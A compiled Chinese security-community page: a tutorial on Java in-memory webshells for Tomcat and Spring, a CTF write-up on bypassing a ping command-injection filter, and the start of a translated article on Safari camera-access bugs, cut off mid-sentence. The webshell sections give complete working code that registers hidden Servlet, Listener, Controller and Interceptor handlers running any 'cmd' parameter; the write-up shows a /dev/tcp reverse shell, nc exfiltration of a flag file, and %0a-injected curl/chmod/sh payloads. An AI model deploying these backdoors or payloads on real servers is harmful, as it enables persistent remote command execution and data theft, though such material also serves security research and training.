将Wrapper添加到context中
StandardContext.createWapper()
在这里添加映射关系， 将 url 路径和 servlet 类做映射。
### 加载Servlet
遍历内容，比添加到StandardContext的list中
这里判断loadOnStartup是否大于0，如果大于才会添加
standardWrapper中的loadOnStatup默认为-1
在servlet的配置当中，<load-on-startup>1</load-on-startup>的含义是：
标记容器是否在启动的时候就加载这个servlet。
当值为0或者大于0时，表示容器在应用启动时就加载这个servlet；
当是一个负数时或者没有指定时，则指示容器在该servlet被选择时才加载。
正数的值越小，启动该servlet的优先级越高。</load-on-startup>
由于我们要注入内存马，且没有配置xml不会在应用启动时就加载这个servlet，因此需要把优先级调至1，让自己写的servlet直接被加载
遍历list，加载wrapper
### Servlet内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>$Title$</title>
</head>
<body>
<%
HttpServlet httpServlet = new HttpServlet() {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream is = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
resp.getWriter().write(len);
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
super.doPost(req, resp);
}
};
//获得StandardContext
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext stdcontext = (StandardContext) req.getContext();
//从StandardContext.createWapper()获得一个Wapper对象
Wrapper newWrapper = stdcontext.createWrapper();
String name = httpServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(httpServlet);
newWrapper.setServletClass(httpServlet.getClass().getName());
//将Wrapper添加到StandardContext
stdcontext.addChild(newWrapper);
stdcontext.addServletMappingDecoded("/demo", name);
%>
</body>
</html>
直接访问demo发现404
访问index.jsp注入内存马
再次访问demo
## Listener内存马
### Listener基础
#### 配置Listener
package com.naihe2;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
public class testListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("这里是requestDestroyed");
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
#### xml配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0"
metadata-complete="false"
>
<listener>
<listener-class>com.naihe2.testListener</listener-class>
</listener>
</web-app>
### 流程分析
#### 读取配置文件
读取web.xml，处理后将信息存储在webXml中
配置context
直接遍历并添加至addApplication中
以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener
接下来直接跟进到listenerStart
#### 获取所有listeners
反射生成了一个testListener对象，及我们自定义的Listener
遍历results中的自定义Listener并添加到eventListeners
将eventListeners中的内容添加到applicationEventListenersList属性中，而后期tomcat使用Listener会从applicationEventListenersList中取出
#### 调用过程
在自定义的Listener的requestDestroyed下断点
可以发现tomcat会自动调用fireRequestDestroyEvent，因此我们进入fireRequestDestroyEvent
这里直接获取applicationEventListenersList属性
遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型
这里直接调用 requestDestroyed方法
对应这自定义的Listener
> 接下来如何动态添加Listener
> 在上面分析，tomcat是将web.xml中的信息取出在调用
> addApplication，将信息添加至applicationListeners，然后再由listenerStart反射生成实例化的Listener，并在需要调用前调用fireRequestDestroyEvent，在间接调用
> requestDestroyed方法，但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路，StandardContext提供了另一个方法
> addApplicationEventListener，可以直接添加一个Lisener对象到applicationEventListenersList
由于ServletRequestEvent至提供了ServletRequest，并没有提供Response，因此需要通过反射获取 Response
### 内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
public class DemoListener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
Field requestField = null;
try {
requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
requestField.setAccessible(true);
Request request = null;
try {
request = (Request) requestField.get(req);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Response response = request.getResponse();
try {
String cmd = request.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
} catch (IOException e) {
e.printStackTrace();
}
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
DemoListener listener = new DemoListener();
context.addApplicationEventListener(listener);
%>
</body>
</html>
### 效果展示
随便访问一个页面
在访问我们的内存马网页
这里我由于代码没有判断cmd是否为空，所以必须输入东西才能正常访问，你懂的
再次访问之前不存在的网页
## filter内存马
filter内存马可以参考笔者这篇文章
<https://xz.aliyun.com/t/10888>
# 基于spring
## controller 内存马
### 搭建一个sprint项目
#### 配置pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>springmvc</artifactId>
<packaging>pom</packaging>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
</dependency> <dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.1.9.RELEASE</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
</dependency> <dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<version>1.2</version>
</dependency> </dependencies>
</project>
#### Demo
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class Cl1 {
@RequestMapping("/cl1")
public String hello(String name, Model model){
model.addAttribute("msg",name);
return "hello";
}
}
#### 配置web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app
xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<!--1.注册servlet-->
<servlet>
<servlet-name>SpringMVC</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<!--通过初始化参数指定SpringMVC配置文件的位置，进行关联-->
<init-param> <param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc-servlet.xml</param-value>
</init-param>
<!-- 启动顺序，数字越小，启动越早 -->
<load-on-startup>1</load-on-startup>
</servlet>
<!--所有请求都会被springmvc拦截 -->
<servlet-mapping>
<servlet-name>SpringMVC</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
</web-app>
#### 配置springmvc-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 自动扫描包，让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="com.naihe.controller"/>
<!-- 让Spring MVC不处理静态资源 -->
<mvc:default-servlet-handler />
<!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
要想使@RequestMapping注解生效
必须向上下文中注册DefaultAnnotationHandlerMapping
和一个AnnotationMethodHandlerAdapter实例
这两个实例分别在类级别和方法级别处理。
而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
<mvc:annotation-driven />
<!-- 视图解析器 -->
<bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
<bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
<bean id="/mav" class="com.naihe.controller.Mav"/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
<!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
<!-- 后缀 -->
<property name="suffix" value=".jsp" />
</bean>
</beans>
#### 配置的位置
### 流程分析
#### 获取context
第一种：getCurrentWebApplicationContext()
// getCurrentWebApplicationContext方法获得的是一个XmlWebApplicationContext实例类型的Root WebApplicationContext。WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
第二种：WebApplicationContextUtils
// 通过这种方法获得的也是一个 Root WebApplicationContext 。此方法看起来比较麻烦WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第三种：RequestContextUtils
// 通过 ServletRequest 类的实例来获得 Child WebApplicationContextWebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
第四种：getAttribute
// 这种方式与前几种的思路就不太一样了，因为所有的Context在创建后，都会被作为一个属性添加到了ServletContext中。所以通过直接获得ServletContext通过属性Context拿到 Child WebApplicationContext
#### 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
虽然获取的是RequestMappingHandlerMapping类
但是RequestMappingHandlerMapping继承自AbstractHandlerMethodMapping
同样拥有register
#### 注册Controller
这里主要是通过register进行注册Controller
可以看到register方法的三个参数的类型
这里主要是映射关系，需要配置url和方法的方式
下面看一下RequestMappingInfo类
构造方法
handler是一个Object类，及自定义的Controller类的实例对象
自定义的Controller类方法的method类
### 内存马
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
@Controller
public class Demo {
@ResponseBody
@RequestMapping(value = "/inject", method = RequestMethod.GET)
public void inject() throws NoSuchMethodException {
// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 3. 通过反射获得自定义 controller 中的 Method 对象
Method method = InjectToController.class.getMethod("test");
// 4. 定义访问 controller 的 URL 地址
PatternsRequestCondition url = new PatternsRequestCondition("/demo");
// 5. 定义允许访问 controller 的 HTTP 方法（GET/POST）
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 6. 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
InjectToController injectToController = new InjectToController();
mappingHandlerMapping.registerMapping(info, injectToController, method);
}
@ResponseBody
public class InjectToController {
public InjectToController(){
}
public String test() throws Exception {
// 获取request
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
return str;
}
}
}
### 效果
## Interceptor内存马
### interceptor基础
#### 配置springmvc-servlet.xml
<?xml version="1.0" encoding="UTF-8"?>
<beans
xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:context="http://www.springframework.org/schema/context"
xmlns:mvc="http://www.springframework.org/schema/mvc"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://www.springframework.org/schema/context
https://www.springframework.org/schema/context/spring-context.xsd
http://www.springframework.org/schema/mvc
https://www.springframework.org/schema/mvc/spring-mvc.xsd">
<!-- 自动扫描包，让指定包下的注解生效,由IOC容器统一管理 -->
<context:component-scan base-package="com.naihe.controller"/>
<!-- 让Spring MVC不处理静态资源 -->
<mvc:default-servlet-handler />
<!-- 支持mvc注解驱动 在spring中一般采用@RequestMapping注解来完成映射关系
要想使@RequestMapping注解生效
必须向上下文中注册DefaultAnnotationHandlerMapping
和一个AnnotationMethodHandlerAdapter实例
这两个实例分别在类级别和方法级别处理。
而annotation-driven配置帮助我们自动完成上述两个实例的注入。 -->
<mvc:annotation-driven />
<!-- 视图解析器 -->
<bean id="/ModelAndViewTest" class="com.naihe.controller.ModelAndViewTest"></bean>
<bean id="/t1" class="com.naihe.controller.HelloController2"></bean>
<bean id="/mav" class="com.naihe.controller.Mav"/>
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver " id="internalResourceViewResolver">
<!-- 前缀 --> <property name="prefix" value="/WEB-INF/jsp/"/>
<!-- 后缀 -->
<property name="suffix" value=".jsp" />
</bean>
<mvc:interceptors>
<mvc:interceptor>
<!-- 配置拦截器拦截路径-->
<mvc:mapping path="/demo/*"/>
<!-- 注入自定义拦截器-->
<bean class="com.naihe.Interceptor.MyInterceptor"/>
</mvc:interceptor>
</mvc:interceptors>
</beans>
#### Demo
package com.naihe.Interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class MyInterceptor implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
System.out.println("拦截器执行");
request.getRequestDispatcher("/WEB-INF/pages/error.jsp").forward(request,response);
return true;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
System.out.println("控制器执行后执行");
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
System.out.println("jsp页面执行后执行");
}
}
hello
这里是后面内存马需要的可访问的页面
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class hello {
@ResponseBody
@RequestMapping("/cl1")
public String hello(String name, Model model){
model.addAttribute("msg",name);
return "hello";
}
}
### 流程分析
#### Interceptor调用
在org.springframework.web.servlet.DispatcherServlet的doDispatch方法下断点
后面会调用mappedHandler.applyPreHandle方法
这里遍历使用的interceptors，并调用其preHandle方法，
#### 添加Interceptor
进入getHandler方法，这里主要是获取Interceptor
进入gethandler
进入getHandlerExecutionChain
这里可以看到将Interceptor遍历出来，在添加到chain
在这里可以看到所有的监听器
在这里观察一下数据结构，发现是MappedInterceptor中包含了url地址和自定义拦截器的实例对象
需要反射创建一个MappedInterceptor对象，并添加上我们的interceptor类和includePatterns
这里判断了访问地址和Interceptor地址是否符合要去，如果不符合的话就不会加载
### 内存马
package com.naihe.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import org.springframework.web.servlet.handler.MappedInterceptor;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
@Controller
public class TestInterceptor{
@ResponseBody
@RequestMapping(value = "/interceptor", method = RequestMethod.GET)
public String inject() throws NoSuchMethodException, NoSuchFieldException, IllegalAccessException {
try{
// 获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从context中获取AbstractHandlerMapping的实例对象
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<HandlerInterceptor> adaptedInterceptors = (java.util.ArrayList<HandlerInterceptor>)field.get(abstractHandlerMapping);
//生成一个MappedInterceptor对象
MappedInterceptor mappedInterceptor = new MappedInterceptor(new String[]{"/cl1"},null,new InterceptorDemo());
// 添加到adaptedInterceptors中
adaptedInterceptors.add(mappedInterceptor); // 添加全局interceptor
return "ok";
} catch (Exception e) {
return "no";
}
}
}
class InterceptorDemo implements HandlerInterceptor {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
InputStream is = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
InputStreamReader isr = new InputStreamReader(is, "UTF-8");
BufferedReader br = new BufferedReader(isr);
String str = "";
String line = "";
while ((line = br.readLine())!=null){
str+=line;
}
is.close();
br.close();
response.getWriter().write(str);
return false;
}
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
}
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
}
}
### 效果
访问cl1，注意在这里cl1是必须存在的，前面给了源码
访问一个普通页面，并传参
访问注入界面，注入内存马
再次访问之前的页面 | 社区文章 |
# 命令执行漏洞CTF
## **死亡ping命令**
**题目描述:**
路由器管理台经常存在的网络ping测试，开发者常常会禁用大量的恶意字符串，试试看如何绕过呢？
**docker-compose.yml**
version: "3.2"
services:
converter:
image: registry.cn-hangzhou.aliyuncs.com/n1book/web-command:latest
ports:
- 80:80
**启动方式**
docker-compose up -d
**题目Flag**
n1book{6fa82809179d7f19c67259aa285a7729}
**Writeup**
通过测试可以发现是存在一些黑名单过滤的，被拦截时候显示IP包含恶意字符。
利用fuzz的方式能够知道过滤了以下字符:
["$", "{", "}", "`", ";", "&", "|", "(", ")", "\"", "'", "~", "!", "@", "#",
"%", "^", "*", "[", "]", "\", ":", "-", "_"];
通过%0a能够注入新的一条命令进行执行。
由于docker是没有bash、python程序的，并且sh反弹是不行的。
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
关闭防火墙
新建1.sh文件，内容为：
ls
cat /FLAG | nc 192.168.10.3 8080
目前是能通过折中的方式执行任意命令
请求bash文件到tmp目录
127.0.0.1%0acurl 192.168.10.3/1.sh > /tmp/1.sh
结果如下
给bash加权限
127.0.0.1%0achmod 777 /tmp/1.sh
结果如下
执行bash文件
127.0.0.1%0ash /tmp/1.sh
结果如下
192.168.10.3机器上进行监听8080端口
nc -l 8080
结果如下
得到flag：n1book{6fa82809179d7f19c67259aa285a7729}
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# 如何未经授权访问IOS和macOS上的摄像头
|
##### 译文声明
本文是翻译文章，文章原作者 Ryan Pickren
原文地址：[Webcam Hacking-The story of how I gained unauthorized Camera access on
iOS and macOS](Webcam Hacking-The story of how I gained unauthorized Camera
access on iOS and macOS)
译文仅供参考，具体内容表达以及含义原文为准。
这篇文章介绍了我在攻破IOS/MacOS网络摄像头的过程中发现的多个Safari中的0-day漏洞，通过此项目，我可以在未授权的情况下访问以下资源：
文中包含我用来向Apple报告漏洞的[BugPoC](https://bugpoc.com/)地址，如果你想要查看PoC的执行效果，可以下载
**Safari 13.0.4** 。
## 一、背景
_注：此项目的目标是劫持iOS/macOS的网络摄像头，在此过程中发现的其他漏洞只是一些额外收获。_
在开始之前，我想先引用以前同事的一句话，“漏洞挖掘其实就是在软件中寻找并破坏假设的过程”，这也正是我们今天要做的事情。我们要深入探索Safari浏览器中的模糊区域，测试一些不常见案例，发现其中的奇怪表现，将多个奇怪表现组合在一起，就可以形成一个强大的利用链。
iOS和macOS中的[摄像头安全模型](https://developer.apple.com/documentation/avfoundation/cameras_and_media_capture/requesting_authorization_for_media_capture_on_ios)十分严格，简而言之，应用程序必须明确地获取摄像头/麦克风权限，该操作由系统通过一个标准的警示框实现：
但是这个规则也有一个例外，苹果自己的应用程序可以直接使用摄像头，所以说从技术上来讲，Mobile
Safari无需询问即可访问摄像头。此外，一些新的网络技术，例如[MediaDevices](https://w3c.github.io/mediacapture-main/#mediadevices) Web API(通常用于[WebRTC](https://webrtc.org/)传输)，允许 **网站**
利用Safari的权限直接访问摄像头，这一点方便了Skype或者Zoom这样基于Web的视频会议软件的使用，但是却破坏了系统本身的摄像头安全模型。[这篇](https://webrtc-security.github.io/)论文“A Study of WebRTC Security”中提出了该问题：
>
> 如果用户选择了一款他们认为可以信任的浏览器，那么可以认为所有的WebRTC通信都是“安全”的……换句话来说，WebRTC提供给用户的信任等级直接受到用户对浏览器信任程度的影响。
所以每个iOS/macOS的用户都应该问自己——你有多信任Safari浏览器呢？
_注：加密是WebRTC的一个强制功能，只有在你的网站处于“[安全上下文](https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts)”的情况下，才会显示出[mediaDevices](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices)
API。这就意味着即使是像[这样](https://alf.nu/SafariReaderUXSS)，[这样](https://twitter.com/fransrosen/status/1009727379659468801?lang=en)，或是[这样](https://www.ryanpickren.com/browser-hacking)的通用跨站脚本攻击(UXSS)漏洞也无法获取摄像头的访问权限。摄像头权限在Safari中受到了很好的保护。_
有研究表明，Safari会跟踪每个网站的权限设置，这样网站在访问类似GPS或者摄像头这样的敏感信息时，就可以“无需总是请求权限”，也就是说，如果你信任Skype，你就可以允许Skype在任何时候访问你的摄像头。你可以在Safari->偏好设置->网站中查看你当前信任的网站。
这项功能需要Safari在浏览器⟺网站上下文中重新实现系统⟺应用程序的安全模型，这也就自然而然带出一个问题——Safari对网站的跟踪情况有多好？
现在可以开始制定攻击计划了，如果可以以某种方式诱使Safari认为我们的恶意网站处于一个受信任网站的“安全上下文”中，我们就可以利用Safari的摄像头权限通过mediaDevices
API访问网络摄像头。
## 二、跟踪网站
为了让Safari使用你的网站设置，它首先要知道你正在浏览哪些网站，这实际上也是所有浏览器最基本的责任，并且是维护同源策略的核心要求。如果想要实现任何UXSS或者绕过同源策略，关键就是要让浏览器无法正确识别你正在浏览的网站。
在做了一些实验之后，我注意到了一个奇怪的现象——Safari好像并没有使用[源](https://html.spec.whatwg.org/multipage/origin.html#origin)来跟踪“当前打开的网站”，事实上，Safari在这里用来跟踪网站的方法十分奇怪。
如上图所示，这四个窗口有不同的源，但是Safari认为只打开了一个网站。经过更多的实验后，我推测Safari可能是对所有打开窗口使用了[通用URI语法解析](https://tools.ietf.org/html/rfc3986#section-3.2)来获取URI的主机名，之后再做进一步的解析，具体来说，Safari移除了主机名开头的”www.”。我对这种方法很感兴趣，众所周知，解析URL并[不容易](https://www.youtube.com/watch?v=0uejy9aCNbI)。
在用一些简单的主机名进行fuzzing时，我注意到了一个奇怪的现象，如果主机名中存在连在一起的连接号”-“和点号”.”(即“.-”或者”-.”)，Safari的“当前打开网站”功能就无法发现这样的主机名，我无法立刻将这种奇怪的现象和摄像头联系在一起，但这仍旧是一个有趣的发现，因为类似`https://foo-.evil.com`这样的URL就不会出现在菜单中。这是第一个漏洞，CVE-2020-9787，BugPoC上的演示：[bugpoc.com/poc#bp-Ay2ea1QE](https://bugpoc.com/poc#bp-Ay2ea1QE)，密码：laidMouse24，注意该演示只在Safari
13.0.4下有效。用[BugPoC](https://bugpoc.com/)这个平台做演示很方便，因为你可以直接在这里创建自定义的子域名来托管HTML代码。
除此之外,还有一个重要的发现就是Safari **完全忽略**
了URL协议，这可能会存在一些问题。因为有一些协议根本不包含有意义的主机名，例如`file:`，`javascript:`或者`data:`，
还有一些协议在嵌入的URI中包含主机名（[《Web之困》](https://books.google.com/books?id=NU3wOk2jzWsC&pg=PA37&lpg=PA37&dq=encapsulating+pseudo+protocols&source=bl&ots=fqnDcca6Qc&sig=ACfU3U2DDzX9qe3YryKVhDBZeeBzOiTHlA&hl=en&sa=X&ved=2ahUKEwjQsfXStprmAhUSMH0KHSm8BpUQ6AEwA3oECAoQAQ#v=onepage&q=encapsulating%20pseudo%20protocols&f=false)称之为“封装伪协议”），例如`blob:`或者`view-source:`。像Safari这样只是简单地提取`://`和`/`之间的字符串作为有效主机名是错误的，它应该保留一份可以这样进行解析的协议白名单，例如`http:`，`https:`，`ws:`，等等。这是第二个漏洞，CVE-2020-3852。
下面我想要找到一种方法利用该漏洞，首先尝试一些伪协议。
## 三、一些常见的协议
这里，我们的目标是要创建一个URI，在使用RFC3986中定义的[通用URI语法](https://tools.ietf.org/html/rfc3986#section-3.2)解析该URI后，会生成一个受害者信任的任意主机名，看起来好像挺简单的，是吧？
所以我打算从一些常见的协议开始实验——[`javascript:`](https://tools.ietf.org/html/draft-hoehrmann-javascript-scheme-03)，[`data:`](https://tools.ietf.org/html/rfc2397)以及[`about:`](https://tools.ietf.org/html/rfc6694)。
_注：事实上一个都没有成功，所以如果你不想看失败案例的话，可以直接跳到下一小节。_
### 3.1. javascript:
我一开始真的对这个协议充满希望的，我认为`javascript://skype.com`应该能够成功，因为这种情况下Safari看到的主机名应该是`skype.com`。事实证明并不是，在尝试打开这个URL时，Safari实际加载的是`about:blank`，而内容在进入URL栏前就直接发送给了JavaScript引擎。换句话说，在你浏览页面的时候，`window.location.href`并不会等于`javascript://skype.com`，我用了几种方法暂停页面加载，让Safari返回这个href，但是都没成功。下一个……
### 3.2. data:
下一个实验的是`data:`，目标是创建一个经过RFC2397(`data:`)和RFC3986(旧式的授权URI)解析后仍然有效的URI，如果需要的话，也可以是多语言的URI。经过一些测试后，我想到了这个：`data://,[@skype](https://github.com/skype
"@skype").com`，我使用标准的`window.open()`打开这个页面，并检查了Safari的偏好设置，成功了，Safari认为打开的是`skykpe.com`！
但还是有个问题，尽管从技术上来讲，这是一个有效的`data:`
URI，但是Safari或者其他浏览器并不能识别媒体类型`//`，而且[规范](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs)规定默认的媒体类型是`text/plain`，这就意味着`data://,[@skype](https://github.com/skype
"@skype").com?<script>alert(1)</script>`只会生成一个无害的TXT文件，尽管Safari可能会对其内容感到奇怪，但是如果不执行Javascript，文件本身并不会造成任何破坏。而且由于Safari会给每个`data:`
URI一个唯一的源，所以我们也不能使用Javascript后期渲染来动态填充文档。
w = open('data://,@skype.com');
w.document.write('<script>alert(1)</script>');
> SecurityError
这种隔离源保护策略实际上是为了防止新建文档[与其父文档混淆](https://blog.mozilla.org/security/2017/10/04/treating-data-urls-unique-origins-firefox-57/)，但技术上也可以阻止上述类型的攻击。我尝试了多种方法，想要让Safari把`data:`
